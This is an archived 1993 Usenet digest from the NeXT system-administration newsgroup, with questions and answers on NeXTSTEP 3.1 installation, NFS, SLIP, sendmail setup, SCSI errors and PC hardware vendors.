Date: 21 Jun 1993 14:59:30 GMT
Organization: Dept. of Computing, Imperial College, University of London, UK.
Message-ID: <204iciINNnle@frigate.doc.ic.ac.uk>
Has anyone sucessfully installed NS3.1 on an IBM Thinkpad?
If so, please let me know.
-Axel
p.s. please send email. I'll summarize any significant findings
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From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: rlogind is broken, anyone have a fixed version?
Message-ID: <tlm.740681541@scl1.al.iastate.edu>
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
References: <C8yCJE.1KH@usenet.ucs.indiana.edu> <1993Jun21.084646.3493@urz.unibas.ch>
Date: Mon, 21 Jun 1993 16:52:21 GMT
In <1993Jun21.084646.3493@urz.unibas.ch> frank@ifi.unibas.ch (Robert Frank) writes:
>In article <C8yCJE.1KH@usenet.ucs.indiana.edu> writes:
>> In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa
>Student Computer Assoc) writes:
>> > For those of you lucky enough to have either Macs running A/UX or
>> >HP/Apollos running Domain/OS, you've probably found the problem I have...
>> >Both rlogind and telnetd seem to be broken - when connecting from either
>> >of the above systems to a NeXT, the connection drops characters.
>>
>> I always got around this by having the following in my .login:
>>
>> stty -extproc
>>
>>
>> I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems.
>>
>Couldn't find that option in the man pages. It is accepted by stty though, but
>what is it supposed to do? Over here it DOESN'T eliminate the problem described
>by the original poster - characters still get lost when telneting from a Mac
>(and ONLY from a Mac, all other systems [PC,OS-9,Ultrix,VMS,...] are ok).
After I added this to my .login (sent to me by someone over the net, who
admitted he himself had no idea what it did) I made a fairly serious search to
find out about this flag. Wrote to several Unix gurus I knew, checked
various man pages and administration manuals. The upshot was that I *never*
found out what it does. Just one of those weird pieces of Unix lore. . . .
As for the Mac, I'll give one a try this afternoon and see if I can
duplicate the problem.
TLM
>--
>Robert Frank tel. + (061) 321 99 67
>Institut fuer Informatik fax + (061) 321 99 15
>University of Basel, Switzerland
>Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
>CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
> ( if all fails try frank@urz.unibas.ch )
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From: rngu@mipos2.intel.com (Robert Ngu)
Subject: NextStep r3.1 installation with ATI Ultra Pro
Message-ID: <C8zGr8.8nt@inews.intel.com>
Sender: news@inews.intel.com (USENET News System)
Organization: Intel Corporation, Santa Clara, CA USA
Date: Mon, 21 Jun 1993 18:01:56 GMT
Hi,
Can someone out there help me out with configuration details with
installing NextStep for Intel Processor with the ATI Ultra Pro graphics
card?
I have a 1542B SCSI adapter and having the ATI Ultra Pro card in the
system is doing something really wierd to NextStep... It fails to init
properly and sits there with a blank screen.
Dip switch settings info would be helpful.
Thanks in advance,
Bob Ngu
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From: dave@prim.demon.co.uk (Dave Griffiths)
Subject: Things that get stuck when SLIP is active
Organization: Primitive Software Ltd.
Date: Mon, 21 Jun 1993 16:43:14 +0000
Message-ID: <1993Jun21.164314.1224@prim>
Sender: usenet@demon.co.uk
Does anyone know why certain commands (eg "su", or launching a new shell)
sometimes hang for long periods of time when a SLIP connection is active? Is
there anyway to prevent this frrom happening?
Thanks,
Dave Griffiths
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: rlogind is broken, anyone have a fixed version?
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Date: Mon, 21 Jun 1993 18:37:45 GMT
I wrote:
>> I always got around this by having the following in my .login:
>>
>> stty -extproc
>>
>>
>> I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems.
Robert Frank wrote:
>Couldn't find that option in the man pages. It is accepted by stty though, but
>what is it supposed to do? Over here it DOESN'T eliminate the problem described
>by the original poster - characters still get lost when telneting from a Mac
>(and ONLY from a Mac, all other systems [PC,OS-9,Ultrix,VMS,...] are ok).
Yep, that flag isn't in the man page, I don't remember where I got it
from. Someone showed it to me. All other stty's barf on it as a
flag. I rarely telnet from Macs, so I don't know what to say about
that one. Sorry.
-rob
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From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: NFS exported directory can't be mounted
Message-ID: <1993Jun21.185505.8790@leland.Stanford.EDU>
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Date: Mon, 21 Jun 93 18:55:05 GMT
Can anyone explain what the following error means, or point me to some
documentation?
NFS getattr failed for server deathstar: RPC: Authentication error
mount: deathstar:/usr/spool/mail on /usr/spool/mail: Invalid argument
mount: giving up on:
/usr/spool/mail
Here's what exportfs says:
/usr/spool/mail -root=deathstar,anon=-1
I've also tried it with -access=yavin (the host I'm trying to mount
from), -access=yavin:yavin.stanford.edu, etc. Any hints would be most
appreciated.
Rollie
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From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! Can't access serial port A!
Date: 21 Jun 1993 15:42:57 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <205301INN480@jhunix.hcf.jhu.edu>
I was happily using uucp and IComm for my communications. Then I
installed Microphone. Now I'm permanently locked out of serial
port A.
Questions:
what are the permissions and groups for /dev/cua and /dev/cufa?
is there some getty that is running which will clear the port at three
in the morning, or something?
The Turbo will no t shut down, trying no doubt to close the port.
What can I do??
Thanks
Robert de Lucca
email robinc@jhunix.hcf.jhu.edu
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From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: NFS exported directory can't be mounted
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In comp.sys.next.sysadmin draphsor@deathstar.stanford.edu writes:
>Can anyone explain what the following error means, or point me to some
>documentation?
>NFS getattr failed for server deathstar: RPC: Authentication error
Well, once again I received a very timely reply explaining the
problem. Basically, it's a bug with NeXT's version of NFS. When you
attempt to export a volume that disallows anonymous access (ie you
unclick the checkbox at the bottom of the NFSManager window) it
doesn't allow other hosts to connect. The workaround is to not use
anon=-1 (ie leave the checkbox checked).
Rollie
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From: john@oceania.com (John Robison)
Subject: SUMMARY: NSIntel HW comparison and vendors (long)
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Date: Mon, 21 Jun 1993 20:26:45 GMT
Hi all,
As promised, (a while ago) here is a summary
of hardware. Note we are *still* trying to buy
more hardware from different vendors. Still looking
for other decent vendors to work with.
(Follow-up to comp.sys.next.hardware - cross
posted because notes in installation simplicity
are included below)
We now have the following machines in-house and
up and running:
Compaq "Deskpro 66M" with Q-vision
Gateway 2000 "66-V" with ATI card
Dell "450DE/2" with JAWS
Intel "GX/Professional Workstation" with ATI built-in
=========
All are 66Mhz DX/2 except for Dell (50 Mhz DX/2)
CPU Overview:
1) Dealing with PC vendors is sheer HELL. You need to know
*exactly* what you want, and make sure you are getting it.
We got the Compaq from a "no-name" vendor - who was also
going to get us an HP vectra. Well, basically the no-name
vendors are totally unreliable and incompetent. I would *strongly*
suggest testing them out with easy stuff like memory, E-net
cards, Sound Blaster cards, etc. You'd be surprised at how
easy it is to screw up an order. I was astounded.
Compaq actually has two Deskpro-M models, one is a
"Windows" version. It has pre-installed Windows 3.1
and DOS 5.0 - but no floppys! It also has a on-board
sound card, which is useless with NS Intel. Needless to
say, we never did get the HP. :-)
2) Gateway was *GREAT*. If you itemize what you need, they
FAX up a nice order sheet you can look at and double-check.
(I remembered a few things to add after seeing the sheet.)
It is itemized and shows you *exactly* what you are getting.
Make sure to read the doc about the keyboard problem. If you
unplug it a lot you can get NS Intel installed.
Their machine seems a little slower, but not much.
Definately a bargain! They also "throw in" a windows
program, and actually give you the floppys and manuals!
If you are concerned about price, get the Gateway.
3) Dell was also a nightmare. We actually had a contractor
working for us in Texas get it from a "reburbished" Dell outlet.
Mega-problems trying to speak windows drivers to a "technician".
Not sure how dealing direct with Dell is. Still waiting
for that call back... :-)
4) Intel we got from Workstation 2000. Basically Tim
Finnegan is an ex-NeXT hardware salesman. Took a while to
get the machine, but it was everything as promised. Right monitor,
right hard drive, right amount of memory, right CPU speed,
right Ethernet card, etc. Amazing. For $175.00 he will even
install NeXTStep for you. Well worth it, seeing as how it
still takes a day or two for us to configure machines.
Also great hardware. The Intel is the only machine with
a form-factor close to NeXT Slab. ALso the Intel has
the fans in the right place to support the "OVerdrive"
pentium chip - if you care. :-)
Overall:
All machines are about 35-40 MIPS, compared to 22 MIPS for
a NS Turbo (not *official* estimates!)
Dragging is a bit slow - but then again, we are not using
any Color NeXTStations, so this may be an unfair
comparison. Also the "window-drag" test seems to be
a bit erroneous. Our statistics seem to indicate that
this particular "test" does extremely poorly. Supposedly this
is a driver issue for all the Intel stuff. (Not using
the "bit blitter" or something like that.)
================
Hardware "gotchas":
Compaq is proprietary. 100%. Period.
Priprietary video, floppy drive, connectors, Q-vision, etc.
Seems the color 1024X768 Q-vision 1280E card with additional
video RAM is not available yet. We are running the
cheaper 1024E card. (Then again, this vendor was horrid,
so it could be yet another instance of incompetence...)
We had trouble with the Compaq, and could not "swap
parts" to eliminate problems. Also the mark-up
may be higher. All "PC" cards still work fine.
Compaq puts a hidden "system config partition" on the
hard drive. We actually got the machine in a state
where it would not boot from floppy. Managed to somehow
get the whole disk erased and re-partitioned, but it
was not fun. Suggest you make a DOS Boot floppy, and just
fdisk things the way you want them ahead of time. I think
we had to delete *all* partitions, then add back what we
wanted. Needless to say, install was a nightmare.
Gateway:
A minor challenge installing with the keyboard driver
problem. Non-turbo mode is not really an option -
the machine crawls. The previous posting about Gateway
has the *real* answer at the *end*. Be sure to read
the complete doc before installing. We changed things
we didn't have to.
Dell:
Minor Sharpness problems with NEC monitor. Haven't tried others.
Installation was OK. Had to use the Adaptec SCSI
card with a Sony CD-ROM drive. (Beta release)
Intel:
If you use 80ns memory, it seems that the whole
CPU goes into "slow" mode. Dropped to 8 MIPS.
Haven't verified the 80ns SIMMS caused this yet.
Put the 70ns SIMMS back in.
Installation was simple and easy. No surprises.
(This was the fourth machine configured, however.)
===============
Vendor Summary:
Compaq: I wouldn't send my enemy's monther-in-law to
InfoTech in Palo Alto (CA). My guess is most vendors
out there will be similar. Peeple just don't understand
the need for high-end PCs.
Gateway: Buy direct. Excellent!
1-800-846-2058
I dealt with Corey Peterson at extension 5315
They even called when they were shipping the
computer and told me the tracking number and when
*exactly* to expect it. (And it arrived on-time!!!)
Doesn't know NeXT, so order carefully. You can build
just about any system you want.
Dell:
Will sell direct. Still waiting for a call back...
Intel:
Got through "Workstation 2000"
(619) 723-4827 (Tim Finnegan)
Pre-installed all peripherals and cards.
Offers a very slim selection, but choices
are all the best. Only does NeXT configs.
Will deliver with pre-installed NS for
extra "configuration" fee.
Hope this helps a few wary Hardware purchasers out there!
Regards,
John
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From: zeke@znext.cts.com (james dehnert)
Subject: Syetem Hangs (was Re: 3.1 user upgrade)
Message-ID: <1993Jun21.135954.359@znext.cts.com>
Keywords: hang
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Date: Mon, 21 Jun 1993 13:59:54 GMT
In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A.
McIntyre) writes:
>
> I'm dying to know:
>
> Has anyone on Black with 3.1 had the proliferation of <mach-tasks>
> or are they really gone?
>
> Thanks.
>
> Scott
>
znext:/private/adm
7->ps -aux | grep mach-task
zeke 342 1.6 1.3 1.61M 208K p1 S 0:00 grep mach-task
root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? SW< 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
But worse than that, my system now seems to hang whenever it feels like it!!
It is anoying to the point of making my system unusable because it is
unreliable. I think I'll try doing a full install of the software instead of
the upgrade if only I can find someome to loan me a SCSI floppy fo I can boot
from the CDROM.
I sent a letter off with the BugNeXT.app, I hope they can tell me something.
Zeke
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From: rngu@mipos2.intel.com (Robert Ngu)
Subject: HELP NEEDED: NextStep r3.1 for Intel installation with ATI Ultra Pro
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Date: Mon, 21 Jun 1993 22:45:15 GMT
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From: royce@splunge.uucp (Royce Howland)
Subject: Re: Monitor Refresh Rate on ATI Ultra Pro (Intel GX Workstation)
Message-ID: <1993Jun7.131942.356@splunge.uucp>
Keywords: bastard_kernel
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iwelch@agsm.ucla.edu (Ivo Welch) writes:
>I understand that NeXT/Intel (beta) is running the ATI Ultra Pro at the
>lowest possible refresh rate at the 1024*768 resolution. If someone has
>done a kernel patch to increase the refresh rate, I would very much like
>to get my hands on it.
This is not necessary. The shrink-wrapped release of NEXTSTEP Intel
allows you to configure the refresh rate when setting up your video
driver in Configure.app. I immediately tried a higher rate for our
Intel GX (72 instead of 60), but it made no appreciable difference with
the Nanao F550i monitor sitting on the machine (the display was pretty
good before, and was pretty good after).
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Everything is IMHO | operating system, programs are
royce@splunge.uucp (NeXTMail OK) | easier to write and run faster,
or kakwa!atlantis!splunge!royce | too." -ad for OS/2 2.0
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From: rngu@mipos2.intel.com (Robert Ngu)
Subject: HELP NEEDED: NextStep for Intel processor with ATI Ultra Pro
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Date: Mon, 21 Jun 1993 20:54:37 GMT
Hi,
I realized that my previous call for help lacks any helpful info. The
configuration that I have is as follows:
Intel 486 33Mhz system
20MB memory
ATI Ultra Pro card
1542B SCSI adaptec card with 340MB SCSI drive with NEC CD-ROM
I get a strange error while trying to install NextStep with ATI card. After
formatting the hard disk for installation, it gave me this error message:
AHA Interrupt: bad status ff
sd0: INVALID STATUS (internal error): FATAL ERROR
target:0 lun:0 write block:635760 block count:16
I cannot figure out what the message means for the life of me and when I
repeat the installation process with the on-baord VGA card, it works fine
and installs fine. The minute I configure the system to use the ATI Ultra
Pro card, NextStep craps on me like a bad dream.
Please help if you can,
Bob Ngu
From: sfl@muttley.ucsd.edu (Susan Fichera)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: SCSI errors trash 3.0 upgrade
Date: 22 Jun 1993 00:53:59 GMT
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Greetings - I am trying to upgrade a NextDimension system to NeXTOS3.0,
from NeXTOS 2.1.
In the middle of the upgrade I got the following SCSI error from
the hard disk, repeated four times. After that, the system panic'd,
and the disk was left unbootable. I got the same errors when I restored
the old system from tape. Here is the text of the error:
sd0 (4,0): ERROR op:0x2a sd_state:4 scsi status: 0x0
sd0 (4,0): sense key: 0xb additional sense code: 0x47
SCSI Block in error = 0 (front porch)
Now I know some of these numbers, like the scsi status, sd_state
and sense key. These give conflicting info about the scsi target
aborting the command and the command being completed. What I don't
know are the meaning of op, the additional sense code, and the
meaning of a front porch error. Is this an error in swap??
If some SCSI expert could explain the meaning of this error, I'd
be grateful. Reply to me, and I'll summarize.
Susan Fichera
Systems Programmer
UC San Diego CRCA
sfl@grasshopper.ucsd.edu
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Panic on Backup... ?????
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Date: Tue, 22 Jun 1993 03:34:56 GMT
In article <C8zHtL.2GG@monitor.com> shawn@monitor.com writes:
>perhaps someone can make some suggestions on this one....
>
>i am backing up various drives on our network to a DAT drive on a mono slab via
>gtar. sometime early in the backup process, the slab panics, crashes, moans,
>and dies, rolled over on its side.
>
>the backups have been working fine for well over a year, but during the last
>three weeks, it's been crashing about 10% of the time (the backup is done 5
>times per week).
>
>any ideas on why this might all-of-a-sudden start crapping out? if we assume
>that i screwed something up (unlikely but certainly a possibility) what sorts
>of screwups would cause a panic like that?
>
I've had a flakey network cause crashes on both the machine rdumping
and/or the machine being dumped to. Might want to check out your
network.
-rob
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From: brill@sybase.com (Michael Brill)
Subject: Getting Mail on NeXT in mixed environment
Message-ID: <C8zz37.DuB@sybase.com>
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Date: Tue, 22 Jun 1993 00:37:55 GMT
I'm 90% complete with hooking up a NS-endowed PC to a mixed network of
Unix machines. I've got everything working except the ability to read mail.
I already have a mail account on a server and I'd like to be able to use
that account to get/send NeXT mail. I tried following the directions in
the NeXT documentation - but couldn't make much sense of it. Could
someone who has fought this battle before be so kind as to drop me an
email and point me in the right direction?
Thanks, ...Michael Brill
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From: c559165@monad.missouri.edu (H. Paul Hammann)
Subject: aging mail in the mail spool
Message-ID: <1993Jun22.045204.23193@mont.cs.missouri.edu>
Keywords: mail aging
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Date: Tue, 22 Jun 1993 04:52:04 GMT
Hello,
I have a question regarding aging mail in the mail spool. As in how
do you do it? I understand how to age files in the print spool, that's
easy, they are all seperate files, but a users mail is all kept in
usr/spool/mail/user_id. I am on a NeXT machine running NeXTStep 2.1
If anyone could point me in the right direction, or if someone has some
scripts that they could send me I would be most appreciative. I am
sorry if this is a FAQ. Please send any mail to
c559165@monad.missouri.edu. Thanks to anyone who replies.
Sincerely,
H. Paul Hammann
c559165@monad.missouri.edu
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From: CCMAHTAJ@mizzou1.missouri.edu
Subject: Compacting Maiboxes
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Date: Tue, 22 Jun 93 09:38:38 CDT
I am trying to find a way to compact mailboxes of NeXT users on a
regular basis (i.e., daily, weekly, or maybe upon logoff).
I appreciate any and all help you can provide.
Mahtaj Khamneian
ccmahtaj@mizzou1.missouri.edu
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From: heidelj@alleg.edu (Jason Heideloff)
Subject: Netboot machines in NS3.1
Message-ID: <1993Jun22.151652.25945@alleg.edu>
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Organization: Allegheny College
Date: Tue, 22 Jun 1993 15:16:52 GMT
If anyone could help me with the following problem, it would be
appreciated!
Set up:
We have a lab that has three servers (netboot), one being the master
server for the entire lab and the others are servers for their respective
clients. I upgraded one server (not the master) and it was done
successfuly. After reboot that server, I rebooted one of its clients. I
have been unsuccessful bringing its clients up. The boot process is fine
up until one point where it hangs. The following is a description of the
boot process from the mount points:
mount: No such device
mount: giving up on:
/private/vm/swapfile.front
/usr/etc/mach_swapon: swapping on /private/vm/swapfile
Cleaning up: /etc/nologin ptys floppy devices editors /tmp /Net.
Starting early daemons: syslogd.
Starting RPC and network services: portmapadd net default: gateway
141.195.5.201 netinfo
At this point it simply sits here. What do I do? On the server, I am
also getting a slew of errors that read:
nfs_server: weak authentication, source IP address=XXX.XXX.XXX.XXX.
The only thing I did was upgrade one of the file servers. It should have
simply upgraded without touching any of the netboot info correct? All of
the information is still on the server. I should have to rebuild the
swapdisk should I?
Any help would be greatly appreciated!
Thanks,
Jason Heideloff
heidelj@alleg.edu
From: pkron@corona.com (Peter Kron)
Newsgroups: comp.sys.next.sysadmin
Subject: Purpose of /usr/preserve?
Message-ID: <105.UUL1.3#16216@corona.com>
Date: Mon, 21 Jun 93 04:46:53 PDT
Organization: Corona Design, Inc., Seattle, WA
I have assumed that /usr/preserve is for files which should not be destroyed
by system installation, ie, site-specific configuration files. I ask because
the files I placed there disappeared, including the sendmail.cf I was
linking to.
I experience frequent crashes during mail polling on NS/FIP 3.1, which
require an fsck upon reboot. The files disappeared during one such fsck.
I am trying to determine if this was a result of the crash or possibly
some side effect of /usr/preserve that I don't understand.
Thanks
---------------
Peter Kron P.O. Box 51022
Corona Design, Inc. Seattle, WA 98115-1022
Peter_Kron@corona.com
From: pkron@corona.com (Peter Kron)
Newsgroups: comp.sys.next.sysadmin
Subject: Lost mail or recoverable?
Message-ID: <106.UUL1.3#16216@corona.com>
Date: Mon, 21 Jun 93 04:50:53 PDT
Organization: Corona Design, Inc., Seattle, WA
In a previous post (Purpose of /usr/preserve) I noted losing my sendmail.cf
file for unknown reason. This resulted in rmail failing when mail was
received at my host. This occurred during the UUXQT after the UUCP link
had completed.
The only errors were (error 13) and (error 0, signal 72). Was this mail
lost or was it moved to some error directory somewhere, from which I
can recover it?
Thanks
---------------
Peter Kron P.O. Box 51022
Corona Design, Inc. Seattle, WA 98115-1022
Peter_Kron@corona.com
From: pkron@corona.com (Peter Kron)
Newsgroups: comp.sys.next.sysadmin
Subject: NS/I install by ethernet?
Message-ID: <107.UUL1.3#16216@corona.com>
Date: Tue, 22 Jun 93 15:19:12 PDT
Organization: Corona Design, Inc., Seattle, WA
Has anyone tried to install NS/I via ethernet after installing an initial
system from the CD-ROM? If so, what was your experience?
Thanks
---------------
Peter Kron P.O. Box 51022
Corona Design, Inc. Seattle, WA 98115-1022
Peter_Kron@corona.com
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Subject: Re: Compacting Maiboxes
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Organization: Princeton University
References: <16BF5879E.CCMAHTAJ@mizzou1.missouri.edu>
Date: Tue, 22 Jun 1993 15:22:15 GMT
In article <16BF5879E.CCMAHTAJ@mizzou1.missouri.edu> CCMAHTAJ@mizzou1.missouri.edu writes:
I am trying to find a way to compact mailboxes of NeXT users on a
regular basis (i.e., daily, weekly, or maybe upon logoff).
I appreciate any and all help you can provide.
Nathan, could you please make this a FAQ ?
Q: Is there a way to add mail to Mail.app mailboxes from the command
line ? Can I have incoming mail sorted into particular mailboxes
automatically depending on the sender or subject ? Is it possible to
open a Mail.app deliver window from the command line ? How do I
compact a Mail.app mailbox from the command line ?
A: Get the Mail.app utilities via anon ftp from
nova.cc.purdue.edu:/pub/next/3.0/src/mailapp-utilities1.1.tar.Z or
cs.orst.edu:/pub/next/binaries/comm/mailapp-utilities-1.1.tar.z.
Appnmail(1) allows you append NeXT mail to Mail.app mailboxes. In
conjunction with one of the publicly available mail sorters like
procmail, it can automatically sort all your incoming mail.
Nextmail(1) allows you to send mail through Mail.app from the command
line. Compactmail(1) will compact a Mail.app mailbox.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Password aging
Message-ID: <1993Jun21.115337.1052@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <1993Jun20.142431.1379@urz.unibas.ch>
Date: Mon, 21 Jun 1993 11:53:37 GMT
In article <1993Jun20.142431.1379@urz.unibas.ch> writes:
> > Afraid not. Hopefully, when/if they support aging, they support
> > shadow
> > passwords as well.
>
> Can only mean you are not running netinfo. With netinfo, all
> information is hidden anyway and you can, if you want to, restrict
> nidump to root only.
>
> The /etc/passwd file is meanginless with netinfo running.
>
A real hacker doesn't dump the passwd file, but uses
getpwent ()
to find the interesting things on his system. For this, NeXT really needs
shadow-passwords as it is common now in industry,
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
The nice thing about standards is that there are so many of them to
choose from.
-- Andrew S. Tanenbaum
Newsgroups: comp.sys.next.sysadmin
From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: NeXT as mail gateway
Message-ID: <1993Jun22.180755.9908@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Stanford University
References: <204f5r$soi@umd5.umd.edu>
Date: Tue, 22 Jun 93 18:07:55 GMT
In comp.sys.next.sysadmin matthews@is-next.umd.edu (Mike Matthews) writes:
>For some reason, the NeXT is sending all its mail to uu2.psi.com, even though
>that's been commented out as a mail relay host in my sendmail.cf file.
You might try checking in netinfo; NeXT stores some information in
NetInfo about where your sendmail.cf file is, so you may not be using
the sendmail.cf that you think you are. Check out /locations/sendmail
in all of the NetInfo domains that your client machines inherit from;
make sure that the sendmail.cf property points to the sendmail.cf file
that you actually want to use. (I bet that right now it's pointing to
sendmail.sharedsubisdiary.cf; we had a problem like this...)
Good luck!
Rollie
--
Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin
From: ian@its.com
Subject: NeXT color printer - what kind of paper/cartridges
Message-ID: <1993Jun22.155140.4756@its.com>
Sender: ian@its.com (Ian Gibbs)
Organization: Information Technology Solutions
Date: Tue, 22 Jun 1993 15:51:40 GMT
Greetings,
What kind of paper and ink does the NeXT color printer use? The manual
that comes with it just says "see your NeXT dealer". Are there other
sources for these supplies? (Is the paper just common ordinary RC paper?
What about the ink cartridges?)
Many thanks in advance for you help,
Ian Gibbs
P.S. Yes, I know that I CAN use normal "printer" paper, but the manual
recommends a "coated paper". This is the stuff I'm after.
--
Ian Gibbs
ian@its.com
Information Technology Solutions
NeXT/NEXTSTEP Consulting
--
Ian Gibbs
ian@its.com
Information Technology Solutions
NeXT/NEXTSTEP Consulting
Newsgroups: comp.sys.next.sysadmin
From: anderson (Ken Anderson)
Subject: Re: Getting Mail on NeXT in mixed environment
Message-ID: <1993Jun22.182219.17416@biztech.com>
Sender: news@biztech.com
Organization: Biztech, Inc.
References: <C8zz37.DuB@sybase.com>
Date: Tue, 22 Jun 1993 18:22:19 GMT
In article <C8zz37.DuB@sybase.com> brill@sybase.com (Michael Brill)
writes:
>I'm 90% complete with hooking up a NS-endowed PC to a mixed network of
>Unix machines. I've got everything working except the ability to read
mail.
>
>I already have a mail account on a server and I'd like to be able to use
>that account to get/send NeXT mail. I tried following the directions in
>the NeXT documentation - but couldn't make much sense of it. Could
>someone who has fought this battle before be so kind as to drop me an
>email and point me in the right direction?
>
>Thanks, ...Michael Brill
Michael,
There are a couple of things you need to do to make your mail
work. First off, you need to NFS mount your spool directory somewhere on
your NeXT. You can mount it as /usr/spool/mail (in which case, command
line mail tools will work), or you can mount it anywhere you please and
change your preferences in Mail.app to reflect where that directory is
mounted (spool dir field in the Expert pull-down in preferences). As long
as your user ID's (text name as well as UID) are equivalent on both
systems, reading mail should be fine.
To send mail, you should change the link called sendmail.cf in
/etc/sendmail to link to sendmail.sharedsubsidiary.cf.
cd /etc/sendmail
rm sendmail.cf
ln -s sendmail.sharedsubsidiary.cf sendmail.cf
Last, but certainly not least, make sure you can ping the major relay
mailhost as 'mailhost'. This is the default name in the sendmail file.
You can add 'mailhost' as a second name in netinfo, (use the real hostname
as the main name), or you can just add it separately as a new host.
If you can now type /etc/ping mailhost, and get a response, you SHOULD be
able to send mail from your NeXT as well.
Good luck! If you have any trouble, drop me e-mail.
Ken Anderson
anderson@biztech.com
Stamford, CT
Newsgroups: comp.sys.next.sysadmin
From: thor@sushi.uib.no
Subject: Re: Things that get stuck when SLIP is active
Message-ID: <1993Jun22.210325.1145@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
References: <1993Jun21.164314.1224@prim>
Date: Tue, 22 Jun 93 21:03:25 GMT
In article <1993Jun21.164314.1224@prim> dave@prim.demon.co.uk (Dave Griffiths)
writes:
>
> Does anyone know why certain commands (eg "su", or launching a new shell)
> sometimes hang for long periods of time when a SLIP connection is active? Is
> there anyway to prevent this frrom happening?
>
> Thanks,
>
> Dave Griffiths
2 possibilities:
1) Your /etc/hosts is probably wrong. Remove any comments, and ensure
that ONLY the authorized domain servers are listed. Otherwise your local
host spins around trying to get an answer from a server that doesn't exist
or respond... Check that your domain name is correct. Use IP addresses.
2) check to see that you haven't configured the en0 inbterface with the
same number as the slip0 one. I did this once - eveything slowed to a crawl.
(BTW - I'm on a SLIP line right now - it works fine, but I did have the
same problem you describe). Use netstat or NetInfoManager.
Regards,
--
Thor Legvold | "This is the strangest life
NorNeXT User Group leader | I've ever known..."
University of Bergen | -Jim Morrison, The Doors
NORWAY | edmtl@edb.uib.no doesn't exist
or respond... Check that your domain name is correct. Use IP addresses.
2) check to see that you haven't configure
Newsgroups: comp.sys.next.sysadmin
From: thor@sushi.uib.no
Subject: Re: SLIP over telnet/rlogin *** can it be done ??? ***
Message-ID: <1993Jun22.210459.1221@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
References: <JNICOLAS.93Jun22103034@image.mit.edu>
Date: Tue, 22 Jun 93 21:04:59 GMT
In article <JNICOLAS.93Jun22103034@image.mit.edu> jnicolas@image.mit.edu
(Julien Nicolas) writes:
>
> Here is the scenario: From my home I dial in via a modem to a terminal
> server. From the terminal server I rlogin/telnet to a DecStation at the
> university. The DecStation is configured with 2 SLIP interfaces.
>
> 1) Can a SLIP session be run over the telnet session? Has anyone managed
> to use Louis Mamakos DIALUPIP in such a configuration? If so, how.
>
> 2) Is than example of "tunneling"?
>
> 3) Is PPP in any way more appropriate for this type of application where
> the machine with the serial lines is not the one running the IP
> encapsulation?
>
> Thanks in advance for any leads, help etc. Feel free to post or email
> me. I will summarize.
>
> Julien
> jnicolas@mit.edu
PPP wil do this. SLIP should - but you need a TRANSPERENT way to transfer
signals from your login machine to the SLIP server. Let me know if you
need more info/help.
Regards,
--
Thor Legvold | "This is the strangest life
NorNeXT User Group leader | I've ever known..."
University of Bergen | -Jim Morrison, The Doors
NORWAY | edmtl@edb.uib.no
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Emulex NETJet for HP LaserJet4 with NeXT, anyone?
Date: 22 Jun 1993 21:44:52 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <207ugk$dup@agate.berkeley.edu>
Emulex sells a modular I/O card that turns a HP LaserJet4 (600dpi)
into a network printer that directly accepts print jobs via
lpr/lpd protocol over ethernet.
This sounds like a great solution to stop suffering from
dismal serial feed into HPLJ4 from NeXT (black).
Has anyone tried this with NeXT?
I am about to order it, and wanted to find out if anyone is
actually using it and happy with it.
List price is $529, and product number for the lpd (only) configuration
is: NJ01-T [-T for TCP/IP].
1-800-EMULEX3 for more info from Emulex. I have no relationship
with Emulex, but am hoping to become a happy customer.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: fo6r@ellis.uchicago.edu (Eric's NeXT Fortune)
Subject: No sound/record after upgrade 3.0 > 3.1 (Help!)
Message-ID: <1993Jun23.222409.10406@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
Distribution: na
Date: Wed, 23 Jun 1993 22:24:09 GMT
After Upgrading my mono/slab/non-adb to 3.1 the machine no longer
plays or records sounds.
I have sent a messgae to bug_next@next.com, but I'd like to get
sound back as soon as possible. Any help would be greatly
appreciated.
----------------------------------Information
During the boot, the message
